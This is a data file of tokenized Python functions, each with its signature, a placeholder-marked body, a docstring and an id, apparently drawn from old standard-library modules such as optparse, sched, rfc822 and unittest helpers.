{"signature": "def encode(input, output, encoding):", "body": "if encoding == '<STR_LIT>':<EOL><INDENT>import base64<EOL>return base64.encode(input, output)<EOL><DEDENT>if encoding == '<STR_LIT>':<EOL><INDENT>import quopri<EOL>return quopri.encode(input, output, <NUM_LIT:0>)<EOL><DEDENT>if encoding in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>import uu<EOL>return uu.encode(input, output)<EOL><DEDENT>if encoding in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>return output.write(input.read())<EOL><DEDENT>if encoding in encodetab:<EOL><INDENT>pipethrough(input, encodetab[encoding], output)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % encoding)<EOL><DEDENT>", "docstring": "Encode common content-transfer-encodings (base64, quopri, uuencode).", "id": "f16456:m2"}
{"signature": "def sorted_list_difference(expected, actual):", "body": "i = j = <NUM_LIT:0><EOL>missing = []<EOL>unexpected = []<EOL>while True:<EOL><INDENT>try:<EOL><INDENT>e = expected[i]<EOL>a = actual[j]<EOL>if e < a:<EOL><INDENT>missing.append(e)<EOL>i += <NUM_LIT:1><EOL>while expected[i] == e:<EOL><INDENT>i += <NUM_LIT:1><EOL><DEDENT><DEDENT>elif e > a:<EOL><INDENT>unexpected.append(a)<EOL>j += <NUM_LIT:1><EOL>while actual[j] == a:<EOL><INDENT>j += <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>i += <NUM_LIT:1><EOL>try:<EOL><INDENT>while expected[i] == e:<EOL><INDENT>i += <NUM_LIT:1><EOL><DEDENT><DEDENT>finally:<EOL><INDENT>j += <NUM_LIT:1><EOL>while actual[j] == a:<EOL><INDENT>j += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT>except IndexError:<EOL><INDENT>missing.extend(expected[i:])<EOL>unexpected.extend(actual[j:])<EOL>break<EOL><DEDENT><DEDENT>return missing, unexpected<EOL>", "docstring": "Finds elements in only one or the other of two, sorted input lists.\n\n    Returns a two-element tuple of lists.    The first list contains those\n    elements in the \"expected\" list but not in the \"actual\" list, and the\n    second contains those elements in the \"actual\" list but not in the\n    \"expected\" list.    Duplicate elements in either input list are ignored.", "id": "f16457:m2"}
{"signature": "def unorderable_list_difference(expected, actual, ignore_duplicate=False):", "body": "missing = []<EOL>unexpected = []<EOL>while expected:<EOL><INDENT>item = expected.pop()<EOL>try:<EOL><INDENT>actual.remove(item)<EOL><DEDENT>except ValueError:<EOL><INDENT>missing.append(item)<EOL><DEDENT>if ignore_duplicate:<EOL><INDENT>for lst in expected, actual:<EOL><INDENT>try:<EOL><INDENT>while True:<EOL><INDENT>lst.remove(item)<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if ignore_duplicate:<EOL><INDENT>while actual:<EOL><INDENT>item = actual.pop()<EOL>unexpected.append(item)<EOL>try:<EOL><INDENT>while True:<EOL><INDENT>actual.remove(item)<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return missing, unexpected<EOL><DEDENT>return missing, actual<EOL>", "docstring": "Same behavior as sorted_list_difference but\n    for lists of unorderable items (like dicts).\n\n    As it does a linear search per item (remove) it\n    has O(n*n) performance.", "id": "f16457:m3"}
{"signature": "def _count_diff_all_purpose(actual, expected):", "body": "<EOL>s, t = list(actual), list(expected)<EOL>m, n = len(s), len(t)<EOL>NULL = object()<EOL>result = []<EOL>for i, elem in enumerate(s):<EOL><INDENT>if elem is NULL:<EOL><INDENT>continue<EOL><DEDENT>cnt_s = cnt_t = <NUM_LIT:0><EOL>for j in range(i, m):<EOL><INDENT>if s[j] == elem:<EOL><INDENT>cnt_s += <NUM_LIT:1><EOL>s[j] = NULL<EOL><DEDENT><DEDENT>for j, other_elem in enumerate(t):<EOL><INDENT>if other_elem == elem:<EOL><INDENT>cnt_t += <NUM_LIT:1><EOL>t[j] = NULL<EOL><DEDENT><DEDENT>if cnt_s != cnt_t:<EOL><INDENT>diff = _Mismatch(cnt_s, cnt_t, elem)<EOL>result.append(diff)<EOL><DEDENT><DEDENT>for i, elem in enumerate(t):<EOL><INDENT>if elem is NULL:<EOL><INDENT>continue<EOL><DEDENT>cnt_t = <NUM_LIT:0><EOL>for j in range(i, n):<EOL><INDENT>if t[j] == elem:<EOL><INDENT>cnt_t += <NUM_LIT:1><EOL>t[j] = NULL<EOL><DEDENT><DEDENT>diff = _Mismatch(<NUM_LIT:0>, cnt_t, elem)<EOL>result.append(diff)<EOL><DEDENT>return result<EOL>", "docstring": "Returns list of (cnt_act, cnt_exp, elem) triples where the counts differ", "id": "f16457:m4"}
{"signature": "def _ordered_count(iterable):", "body": "c = {} <EOL>for elem in iterable:<EOL><INDENT>c[elem] = c.get(elem, <NUM_LIT:0>) + <NUM_LIT:1><EOL><DEDENT>return c<EOL>", "docstring": "Return dict of element counts, in the order they were first seen", "id": "f16457:m5"}
{"signature": "def _count_diff_hashable(actual, expected):", "body": "<EOL>s, t = _ordered_count(actual), _ordered_count(expected)<EOL>result = []<EOL>for elem, cnt_s in s.items():<EOL><INDENT>cnt_t = t.get(elem, <NUM_LIT:0>)<EOL>if cnt_s != cnt_t:<EOL><INDENT>diff = _Mismatch(cnt_s, cnt_t, elem)<EOL>result.append(diff)<EOL><DEDENT><DEDENT>for elem, cnt_t in t.items():<EOL><INDENT>if elem not in s:<EOL><INDENT>diff = _Mismatch(<NUM_LIT:0>, cnt_t, elem)<EOL>result.append(diff)<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Returns list of (cnt_act, cnt_exp, elem) triples where the counts differ", "id": "f16457:m6"}
{"signature": "def __new__(_cls, actual, expected, value):", "body": "return _tuple.__new__(_cls, (actual, expected, value))<EOL>", "docstring": "Create new instance of Mismatch(actual, expected, value)", "id": "f16457:c0:m0"}
{"signature": "def _make(cls, iterable, new=tuple.__new__, len=len):", "body": "result = new(cls, iterable)<EOL>if len(result) != <NUM_LIT:3>:<EOL><INDENT>raise TypeError('<STR_LIT>' % len(result))<EOL><DEDENT>return result<EOL>", "docstring": "Make a new Mismatch object from a sequence or iterable", "id": "f16457:c0:m1"}
{"signature": "def __repr__(self):", "body": "return '<STR_LIT>' % self<EOL>", "docstring": "Return a nicely formatted representation string", "id": "f16457:c0:m2"}
{"signature": "def _asdict(self):", "body": "<EOL>return dict(zip(self._fields, self))<EOL>", "docstring": "Return a new OrderedDict which maps field names to their values", "id": "f16457:c0:m3"}
{"signature": "def _replace(_self, **kwds):", "body": "result = _self._make(map(kwds.pop, ('<STR_LIT>', '<STR_LIT>', '<STR_LIT:value>'), _self))<EOL>if kwds:<EOL><INDENT>raise ValueError('<STR_LIT>' % kwds.keys())<EOL><DEDENT>return result<EOL>", "docstring": "Return a new Mismatch object replacing specified fields with new values", "id": "f16457:c0:m4"}
{"signature": "def __getnewargs__(self):", "body": "return tuple(self)<EOL>", "docstring": "Return self as a plain tuple.  Used by copy and pickle.", "id": "f16457:c0:m5"}
{"signature": "def __getstate__(self):", "body": "pass<EOL>", "docstring": "Exclude the OrderedDict from pickling", "id": "f16457:c0:m6"}
{"signature": "def _match_abbrev(s, wordmap):", "body": "<EOL>if s in wordmap:<EOL><INDENT>return s<EOL><DEDENT>else:<EOL><INDENT>possibilities = [word for word in list(wordmap.keys())<EOL>if word.startswith(s)]<EOL>if len(possibilities) == <NUM_LIT:1>:<EOL><INDENT>return possibilities[<NUM_LIT:0>]<EOL><DEDENT>elif not possibilities:<EOL><INDENT>raise BadOptionError(s)<EOL><DEDENT>else:<EOL><INDENT>possibilities.sort()<EOL>raise AmbiguousOptionError(s, possibilities)<EOL><DEDENT><DEDENT>", "docstring": "_match_abbrev(s : string, wordmap : {string : Option}) -> string\n\n    Return the string key in 'wordmap' for which 's' is an unambiguous\n    abbreviation.  If 's' is found to be ambiguous or doesn't match any of\n    'words', raise BadOptionError.", "id": "f16458:m8"}
{"signature": "def _format_text(self, text):", "body": "text_width = max(self.width - self.current_indent, <NUM_LIT:11>)<EOL>indent = \"<STR_LIT:U+0020>\"*self.current_indent<EOL>return textwrap.fill(text,<EOL>text_width,<EOL>initial_indent=indent,<EOL>subsequent_indent=indent)<EOL>", "docstring": "Format a paragraph of free-form text for inclusion in the\nhelp output at the current indentation level.", "id": "f16458:c6:m8"}
{"signature": "def format_option_strings(self, option):", "body": "if option.takes_value():<EOL><INDENT>metavar = option.metavar or option.dest.upper()<EOL>short_opts = [self._short_opt_fmt % (sopt, metavar)<EOL>for sopt in option._short_opts]<EOL>long_opts = [self._long_opt_fmt % (lopt, metavar)<EOL>for lopt in option._long_opts]<EOL><DEDENT>else:<EOL><INDENT>short_opts = option._short_opts<EOL>long_opts = option._long_opts<EOL><DEDENT>if self.short_first:<EOL><INDENT>opts = short_opts + long_opts<EOL><DEDENT>else:<EOL><INDENT>opts = long_opts + short_opts<EOL><DEDENT>return \"<STR_LIT:U+002CU+0020>\".join(opts)<EOL>", "docstring": "Return a comma-separated list of option strings & metavariables.", "id": "f16458:c6:m14"}
{"signature": "def _update_careful(self, dict):", "body": "for attr in dir(self):<EOL><INDENT>if attr in dict:<EOL><INDENT>dval = dict[attr]<EOL>if dval is not None:<EOL><INDENT>setattr(self, attr, dval)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Update the option values from an arbitrary dictionary, but only\nuse keys from dict that already have a corresponding attribute\nin self.  Any keys in dict without a corresponding attribute\nare silently ignored.", "id": "f16458:c10:m3"}
{"signature": "def _update_loose(self, dict):", "body": "self.__dict__.update(dict)<EOL>", "docstring": "Update the option values from an arbitrary dictionary,\nusing all keys from the dictionary regardless of whether\nthey have a corresponding attribute in self or not.", "id": "f16458:c10:m4"}
{"signature": "def destroy(self):", "body": "del self._short_opt<EOL>del self._long_opt<EOL>del self.defaults<EOL>", "docstring": "see OptionParser.destroy().", "id": "f16458:c11:m6"}
{"signature": "def add_option(self, *args, **kwargs):", "body": "if type(args[<NUM_LIT:0>]) in (str,):<EOL><INDENT>option = self.option_class(*args, **kwargs)<EOL><DEDENT>elif len(args) == <NUM_LIT:1> and not kwargs:<EOL><INDENT>option = args[<NUM_LIT:0>]<EOL>if not isinstance(option, Option):<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % option)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>self._check_conflict(option)<EOL>self.option_list.append(option)<EOL>option.container = self<EOL>for opt in option._short_opts:<EOL><INDENT>self._short_opt[opt] = option<EOL><DEDENT>for opt in option._long_opts:<EOL><INDENT>self._long_opt[opt] = option<EOL><DEDENT>if option.dest is not None:     <EOL><INDENT>if option.default is not NO_DEFAULT:<EOL><INDENT>self.defaults[option.dest] = option.default<EOL><DEDENT>elif option.dest not in self.defaults:<EOL><INDENT>self.defaults[option.dest] = None<EOL><DEDENT><DEDENT>return option<EOL>", "docstring": "add_option(Option)\n           add_option(opt_str, ..., kwarg=val, ...)", "id": "f16458:c11:m8"}
{"signature": "def destroy(self):", "body": "OptionContainer.destroy(self)<EOL>del self.option_list<EOL>", "docstring": "see OptionParser.destroy().", "id": "f16458:c12:m3"}
{"signature": "def destroy(self):", "body": "OptionContainer.destroy(self)<EOL>for group in self.option_groups:<EOL><INDENT>group.destroy()<EOL><DEDENT>del self.option_list<EOL>del self.option_groups<EOL>del self.formatter<EOL>", "docstring": "Declare that you are done with this OptionParser.  This cleans up\nreference cycles so the OptionParser (and all objects referenced by\nit) can be garbage-collected promptly.  After calling destroy(), the\nOptionParser is unusable.", "id": "f16458:c13:m1"}
{"signature": "def enable_interspersed_args(self):", "body": "self.allow_interspersed_args = True<EOL>", "docstring": "Set parsing to not stop on the first non-option, allowing\n        interspersing switches with command arguments. This is the\n        default behavior. See also disable_interspersed_args() and the\n        class documentation description of the attribute\n        allow_interspersed_args.", "id": "f16458:c13:m8"}
{"signature": "def disable_interspersed_args(self):", "body": "self.allow_interspersed_args = False<EOL>", "docstring": "Set parsing to stop on the first non-option. Use this if\n        you have a command processor which runs another command that\n        has options of its own and you want to make sure these options\n        don't get confused.", "id": "f16458:c13:m9"}
{"signature": "def parse_args(self, args=None, values=None):", "body": "rargs = self._get_args(args)<EOL>if values is None:<EOL><INDENT>values = self.get_default_values()<EOL><DEDENT>self.rargs = rargs<EOL>self.largs = largs = []<EOL>self.values = values<EOL>try:<EOL><INDENT>stop = self._process_args(largs, rargs, values)<EOL><DEDENT>except (BadOptionError, OptionValueError) as err:<EOL><INDENT>self.error(str(err))<EOL><DEDENT>args = largs + rargs<EOL>return self.check_values(values, args)<EOL>", "docstring": "parse_args(args : [string] = sys.argv[1:],\n           values : Values = None)\n-> (values : Values, args : [string])\n\nParse the command-line options found in 'args' (default:\nsys.argv[1:]).  Any errors result in a call to 'error()', which\nby default prints the usage message to stderr and calls\nsys.exit() with an error message.  On success returns a pair\n(values, args) where 'values' is a Values instance (with all\nyour option values) and 'args' is the list of arguments left\nover after parsing options.", "id": "f16458:c13:m18"}
{"signature": "def check_values(self, values, args):", "body": "return (values, args)<EOL>", "docstring": "check_values(values : Values, args : [string])\n-> (values : Values, args : [string])\n\nCheck that the supplied option values and leftover arguments are\nvalid.  Returns the option values and leftover arguments\n(possibly adjusted, possibly completely new -- whatever you\nlike).  Default implementation just returns the passed-in\nvalues; subclasses may override as desired.", "id": "f16458:c13:m19"}
{"signature": "def _process_args(self, largs, rargs, values):", "body": "while rargs:<EOL><INDENT>arg = rargs[<NUM_LIT:0>]<EOL>if arg == \"<STR_LIT>\":<EOL><INDENT>del rargs[<NUM_LIT:0>]<EOL>return<EOL><DEDENT>elif arg[<NUM_LIT:0>:<NUM_LIT:2>] == \"<STR_LIT>\":<EOL><INDENT>self._process_long_opt(rargs, values)<EOL><DEDENT>elif arg[:<NUM_LIT:1>] == \"<STR_LIT:->\" and len(arg) > <NUM_LIT:1>:<EOL><INDENT>self._process_short_opts(rargs, values)<EOL><DEDENT>elif self.allow_interspersed_args:<EOL><INDENT>largs.append(arg)<EOL>del rargs[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>return                  <EOL><DEDENT><DEDENT>", "docstring": "_process_args(largs : [string],\n                         rargs : [string],\n                         values : Values)\n\n        Process command-line arguments and populate 'values', consuming\n        options and arguments from 'rargs'.  If 'allow_interspersed_args' is\n        false, stop at the first non-option argument.  If true, accumulate any\n        interspersed non-option arguments in 'largs'.", "id": "f16458:c13:m20"}
{"signature": "def _match_long_opt(self, opt):", "body": "return _match_abbrev(opt, self._long_opt)<EOL>", "docstring": "_match_long_opt(opt : string) -> string\n\n        Determine which long option string 'opt' matches, ie. which one\n        it is an unambiguous abbreviation for.  Raises BadOptionError if\n        'opt' doesn't unambiguously match any long option string.", "id": "f16458:c13:m21"}
{"signature": "def error(self, msg):", "body": "self.print_usage(sys.stderr)<EOL>self.exit(<NUM_LIT:2>, \"<STR_LIT>\" % (self.get_prog_name(), msg))<EOL>", "docstring": "error(msg : string)\n\n        Print a usage message incorporating 'msg' to stderr and exit.\n        If you override this in a subclass, it should not return -- it\n        should either exit or raise an exception.", "id": "f16458:c13:m28"}
{"signature": "def print_usage(self, file=None):", "body": "if self.usage:<EOL><INDENT>print(self.get_usage(), file=file)<EOL><DEDENT>", "docstring": "print_usage(file : file = stdout)\n\n        Print the usage message for the current program (self.usage) to\n        'file' (default stdout).  Any occurrence of the string \"%prog\" in\n        self.usage is replaced with the name of the current program\n        (basename of sys.argv[0]).  Does nothing if self.usage is empty\n        or not defined.", "id": "f16458:c13:m30"}
{"signature": "def print_version(self, file=None):", "body": "if self.version:<EOL><INDENT>print(self.get_version(), file=file)<EOL><DEDENT>", "docstring": "print_version(file : file = stdout)\n\n        Print the version message for this program (self.version) to\n        'file' (default stdout).  As with print_usage(), any occurrence\n        of \"%prog\" in self.version is replaced by the current program's\n        name.  Does nothing if self.version is empty or undefined.", "id": "f16458:c13:m32"}
{"signature": "def print_help(self, file=None):", "body": "if file is None:<EOL><INDENT>file = sys.stdout<EOL><DEDENT>encoding = self._get_encoding(file)<EOL>file.write(self.format_help())<EOL>", "docstring": "print_help(file : file = stdout)\n\n        Print an extended help message, listing all options and any\n        help text provided with them, to 'file' (default stdout).", "id": "f16458:c13:m37"}
{"signature": "def __init__(self, timefunc, delayfunc):", "body": "self._queue = []<EOL>self.timefunc = timefunc<EOL>self.delayfunc = delayfunc<EOL>", "docstring": "Initialize a new instance, passing the time and delay\n        functions", "id": "f16459:c1:m0"}
{"signature": "def enterabs(self, time, priority, action, argument):", "body": "event = Event(time, priority, action, argument)<EOL>heapq.heappush(self._queue, event)<EOL>return event<EOL>", "docstring": "Enter a new event in the queue at an absolute time.\n        Returns an ID for the event which can be used to remove it,\n        if necessary.", "id": "f16459:c1:m1"}
{"signature": "def enter(self, delay, priority, action, argument):", "body": "time = self.timefunc() + delay<EOL>return self.enterabs(time, priority, action, argument)<EOL>", "docstring": "A variant that specifies the time as a relative time.\n        This is actually the more commonly used interface.", "id": "f16459:c1:m2"}
{"signature": "def cancel(self, event):", "body": "self._queue.remove(event)<EOL>heapq.heapify(self._queue)<EOL>", "docstring": "Remove an event from the queue.\n        This must be presented the ID as returned by enter().\n        If the event is not in the queue, this raises ValueError.", "id": "f16459:c1:m3"}
{"signature": "def empty(self):", "body": "return not self._queue<EOL>", "docstring": "Check whether the queue is empty.", "id": "f16459:c1:m4"}
{"signature": "def run(self):", "body": "<EOL>q = self._queue<EOL>delayfunc = self.delayfunc<EOL>timefunc = self.timefunc<EOL>pop = heapq.heappop<EOL>while q:<EOL><INDENT>checked_event = q[<NUM_LIT:0>]<EOL>time, priority, action, argument = checked_event.get_fields()<EOL>now = timefunc()<EOL>if now < time:<EOL><INDENT>delayfunc(time - now)<EOL><DEDENT>else:<EOL><INDENT>event = pop(q)<EOL>if event is checked_event:<EOL><INDENT>action(*argument)<EOL>delayfunc(<NUM_LIT:0>)   <EOL><DEDENT>else:<EOL><INDENT>heapq.heappush(q, event)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Execute events until the queue is empty.\n        When there is a positive delay until the first event, the\n        delay function is called and the event is left in the queue;\n        otherwise, the event is removed from the queue and executed\n        (its action function is called, passing it the argument).  If\n        the delay function returns prematurely, it is simply\n        restarted.\n        It is legal for both the delay function and the action\n        function to modify the queue or to raise an exception;\n        exceptions are not caught but the scheduler's state remains\n        well-defined so run() may be called again.\n        A questionable hack is added to allow other threads to run:\n        just after an event is executed, a delay of 0 is executed, to\n        avoid monopolizing the CPU when other threads are also\n        runnable.", "id": "f16459:c1:m5"}
{"signature": "@property<EOL><INDENT>def queue(self):<DEDENT>", "body": "<EOL>events = self._queue[:]<EOL>return map(heapq.heappop, [events]*len(events))<EOL>", "docstring": "An ordered list of upcoming events.\n        Events are named tuples with fields for:\n            time, priority, action, arguments", "id": "f16459:c1:m6"}
{"signature": "def unquote(s):", "body": "if len(s) > <NUM_LIT:1>:<EOL><INDENT>if s.startswith('<STR_LIT:\">') and s.endswith('<STR_LIT:\">'):<EOL><INDENT>return s[<NUM_LIT:1>:-<NUM_LIT:1>].replace('<STR_LIT>', '<STR_LIT:\\\\>').replace('<STR_LIT>', '<STR_LIT:\">')<EOL><DEDENT>if s.startswith('<STR_LIT:<>') and s.endswith('<STR_LIT:>>'):<EOL><INDENT>return s[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>return s<EOL>", "docstring": "Remove quotes from a string.", "id": "f16460:m0"}
{"signature": "def quote(s):", "body": "return s.replace('<STR_LIT:\\\\>', '<STR_LIT>').replace('<STR_LIT:\">', '<STR_LIT>')<EOL>", "docstring": "Add quotes around a string.", "id": "f16460:m1"}
{"signature": "def parseaddr(address):", "body": "a = AddressList(address)<EOL>lst = a.addresslist<EOL>if not lst:<EOL><INDENT>return (None, None)<EOL><DEDENT>return lst[<NUM_LIT:0>]<EOL>", "docstring": "Parse an address into a (realname, mailaddr) tuple.", "id": "f16460:m2"}
{"signature": "def dump_address_pair(pair):", "body": "if pair[<NUM_LIT:0>]:<EOL><INDENT>return '<STR_LIT:\">' + pair[<NUM_LIT:0>] + '<STR_LIT>' + pair[<NUM_LIT:1>] + '<STR_LIT:>>'<EOL><DEDENT>else:<EOL><INDENT>return pair[<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "Dump a (name, address) pair in a canonicalized form.", "id": "f16460:m3"}
{"signature": "def parsedate_tz(data):", "body": "if not data:<EOL><INDENT>return None<EOL><DEDENT>data = data.split()<EOL>if data[<NUM_LIT:0>][-<NUM_LIT:1>] in ('<STR_LIT:U+002C>', '<STR_LIT:.>') or data[<NUM_LIT:0>].lower() in _daynames:<EOL><INDENT>del data[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>i = data[<NUM_LIT:0>].rfind('<STR_LIT:U+002C>')<EOL>if i >= <NUM_LIT:0>:<EOL><INDENT>data[<NUM_LIT:0>] = data[<NUM_LIT:0>][i+<NUM_LIT:1>:]<EOL><DEDENT><DEDENT>if len(data) == <NUM_LIT:3>: <EOL><INDENT>stuff = data[<NUM_LIT:0>].split('<STR_LIT:->')<EOL>if len(stuff) == <NUM_LIT:3>:<EOL><INDENT>data = stuff + data[<NUM_LIT:1>:]<EOL><DEDENT><DEDENT>if len(data) == <NUM_LIT:4>:<EOL><INDENT>s = data[<NUM_LIT:3>]<EOL>i = s.find('<STR_LIT:+>')<EOL>if i > <NUM_LIT:0>:<EOL><INDENT>data[<NUM_LIT:3>:] = [s[:i], s[i+<NUM_LIT:1>:]]<EOL><DEDENT>else:<EOL><INDENT>data.append('<STR_LIT>') <EOL><DEDENT><DEDENT>if len(data) < <NUM_LIT:5>:<EOL><INDENT>return None<EOL><DEDENT>data = data[:<NUM_LIT:5>]<EOL>[dd, mm, yy, tm, tz] = data<EOL>mm = mm.lower()<EOL>if not mm in _monthnames:<EOL><INDENT>dd, mm = mm, dd.lower()<EOL>if not mm in _monthnames:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>mm = _monthnames.index(mm)+<NUM_LIT:1><EOL>if mm > <NUM_LIT:12>: mm = mm - <NUM_LIT:12><EOL>if dd[-<NUM_LIT:1>] == '<STR_LIT:U+002C>':<EOL><INDENT>dd = dd[:-<NUM_LIT:1>]<EOL><DEDENT>i = yy.find('<STR_LIT::>')<EOL>if i > <NUM_LIT:0>:<EOL><INDENT>yy, tm = tm, yy<EOL><DEDENT>if yy[-<NUM_LIT:1>] == '<STR_LIT:U+002C>':<EOL><INDENT>yy = yy[:-<NUM_LIT:1>]<EOL><DEDENT>if not yy[<NUM_LIT:0>].isdigit():<EOL><INDENT>yy, tz = tz, yy<EOL><DEDENT>if tm[-<NUM_LIT:1>] == '<STR_LIT:U+002C>':<EOL><INDENT>tm = tm[:-<NUM_LIT:1>]<EOL><DEDENT>tm = tm.split('<STR_LIT::>')<EOL>if len(tm) == <NUM_LIT:2>:<EOL><INDENT>[thh, tmm] = tm<EOL>tss = '<STR_LIT:0>'<EOL><DEDENT>elif len(tm) == <NUM_LIT:3>:<EOL><INDENT>[thh, tmm, tss] = tm<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>try:<EOL><INDENT>yy = int(yy)<EOL>dd = int(dd)<EOL>thh = int(thh)<EOL>tmm = int(tmm)<EOL>tss = int(tss)<EOL><DEDENT>except ValueError:<EOL><INDENT>return None<EOL><DEDENT>tzoffset = None<EOL>tz = tz.upper()<EOL>if tz in _timezones:<EOL><INDENT>tzoffset = _timezones[tz]<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>tzoffset = int(tz)<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if tzoffset:<EOL><INDENT>if tzoffset < <NUM_LIT:0>:<EOL><INDENT>tzsign = -<NUM_LIT:1><EOL>tzoffset = -tzoffset<EOL><DEDENT>else:<EOL><INDENT>tzsign = <NUM_LIT:1><EOL><DEDENT>tzoffset = tzsign * ( (tzoffset//<NUM_LIT:100>)*<NUM_LIT> + (tzoffset % <NUM_LIT:100>)*<NUM_LIT>)<EOL><DEDENT>return (yy, mm, dd, thh, tmm, tss, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>, tzoffset)<EOL>", "docstring": "Convert a date string to a time tuple.\n\n    Accounts for military timezones.", "id": "f16460:m4"}
{"signature": "def parsedate(data):", "body": "t = parsedate_tz(data)<EOL>if t is None:<EOL><INDENT>return t<EOL><DEDENT>return t[:<NUM_LIT:9>]<EOL>", "docstring": "Convert a time string to a time tuple.", "id": "f16460:m5"}
{"signature": "def mktime_tz(data):", "body": "if data[<NUM_LIT:9>] is None:<EOL><INDENT>return time.mktime(data[:<NUM_LIT:8>] + (-<NUM_LIT:1>,))<EOL><DEDENT>else:<EOL><INDENT>t = time.mktime(data[:<NUM_LIT:8>] + (<NUM_LIT:0>,))<EOL>return t - data[<NUM_LIT:9>] - time.timezone<EOL><DEDENT>", "docstring": "Turn a 10-tuple as returned by parsedate_tz() into a UTC timestamp.", "id": "f16460:m6"}
{"signature": "def formatdate(timeval=None):", "body": "if timeval is None:<EOL><INDENT>timeval = time.time()<EOL><DEDENT>timeval = time.gmtime(timeval)<EOL>return \"<STR_LIT>\" % (<EOL>(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")[timeval[<NUM_LIT:6>]],<EOL>timeval[<NUM_LIT:2>],<EOL>(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")[timeval[<NUM_LIT:1>]-<NUM_LIT:1>],<EOL>timeval[<NUM_LIT:0>], timeval[<NUM_LIT:3>], timeval[<NUM_LIT:4>], timeval[<NUM_LIT:5>])<EOL>", "docstring": "Returns time format preferred for Internet standards.\n\n    Sun, 06 Nov 1994 08:49:37 GMT  ; RFC 822, updated by RFC 1123\n\n    According to RFC 1123, day and month names must always be in\n    English.  If not for that, this code could use strftime().  It\n    can't because strftime() honors the locale and could generate\n    non-English names.", "id": "f16460:m7"}
{"signature": "def __init__(self, fp, seekable = <NUM_LIT:1>):", "body": "if seekable == <NUM_LIT:1>:<EOL><INDENT>try:<EOL><INDENT>fp.tell()<EOL><DEDENT>except (AttributeError, IOError):<EOL><INDENT>seekable = <NUM_LIT:0><EOL><DEDENT><DEDENT>self.fp = fp<EOL>self.seekable = seekable<EOL>self.startofheaders = None<EOL>self.startofbody = None<EOL>if self.seekable:<EOL><INDENT>try:<EOL><INDENT>self.startofheaders = self.fp.tell()<EOL><DEDENT>except IOError:<EOL><INDENT>self.seekable = <NUM_LIT:0><EOL><DEDENT><DEDENT>self.readheaders()<EOL>if self.seekable:<EOL><INDENT>try:<EOL><INDENT>self.startofbody = self.fp.tell()<EOL><DEDENT>except IOError:<EOL><INDENT>self.seekable = <NUM_LIT:0><EOL><DEDENT><DEDENT>", "docstring": "Initialize the class instance and read the headers.", "id": "f16460:c0:m0"}
{"signature": "def rewindbody(self):", "body": "if not self.seekable:<EOL><INDENT>raise IOError(\"<STR_LIT>\")<EOL><DEDENT>self.fp.seek(self.startofbody)<EOL>", "docstring": "Rewind the file to the start of the body (if seekable).", "id": "f16460:c0:m1"}
{"signature": "def readheaders(self):", "body": "self.dict = {}<EOL>self.unixfrom = '<STR_LIT>'<EOL>self.headers = lst = []<EOL>self.status = '<STR_LIT>'<EOL>headerseen = \"<STR_LIT>\"<EOL>firstline = <NUM_LIT:1><EOL>startofline = unread = tell = None<EOL>if hasattr(self.fp, '<STR_LIT>'):<EOL><INDENT>unread = self.fp.unread<EOL><DEDENT>elif self.seekable:<EOL><INDENT>tell = self.fp.tell<EOL><DEDENT>while <NUM_LIT:1>:<EOL><INDENT>if tell:<EOL><INDENT>try:<EOL><INDENT>startofline = tell()<EOL><DEDENT>except IOError:<EOL><INDENT>startofline = tell = None<EOL>self.seekable = <NUM_LIT:0><EOL><DEDENT><DEDENT>line = self.fp.readline()<EOL>if not line:<EOL><INDENT>self.status = '<STR_LIT>'<EOL>break<EOL><DEDENT>if firstline and line.startswith('<STR_LIT>'):<EOL><INDENT>self.unixfrom = self.unixfrom + line<EOL>continue<EOL><DEDENT>firstline = <NUM_LIT:0><EOL>if headerseen and line[<NUM_LIT:0>] in '<STR_LIT>':<EOL><INDENT>lst.append(line)<EOL>x = (self.dict[headerseen] + \"<STR_LIT>\" + line.strip())<EOL>self.dict[headerseen] = x.strip()<EOL>continue<EOL><DEDENT>elif self.iscomment(line):<EOL><INDENT>continue<EOL><DEDENT>elif self.islast(line):<EOL><INDENT>break<EOL><DEDENT>headerseen = self.isheader(line)<EOL>if headerseen:<EOL><INDENT>lst.append(line)<EOL>self.dict[headerseen] = line[len(headerseen)+<NUM_LIT:1>:].strip()<EOL>continue<EOL><DEDENT>elif headerseen is not None:<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>if not self.dict:<EOL><INDENT>self.status = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>self.status = '<STR_LIT>'<EOL><DEDENT>if unread:<EOL><INDENT>unread(line)<EOL><DEDENT>elif tell:<EOL><INDENT>self.fp.seek(startofline)<EOL><DEDENT>else:<EOL><INDENT>self.status = self.status + '<STR_LIT>'<EOL><DEDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Read header lines.\n\n        Read header lines up to the entirely blank line that terminates them.\n        The 